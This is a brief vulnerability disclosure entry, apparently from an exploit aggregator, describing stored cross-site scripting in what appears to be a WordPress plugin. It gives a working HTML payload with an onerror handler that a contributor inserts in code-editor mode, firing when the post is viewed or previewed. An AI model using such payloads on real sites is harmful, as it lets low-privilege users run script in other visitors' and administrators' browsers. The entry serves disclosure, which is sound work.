## https://sploitus.com/exploit?id=WPEX-ID:C15A6032-6495-47A8-828C-37E55ED9665A
As a contributor, create or edit a post with the payload below while in code editor mode
<img src="404" id="!#!#PROTECT0#!#!"/><pre class=" onerror=alert(document.domain) ">xyz</pre>
The XSS will be triggered when viewing/previewing the post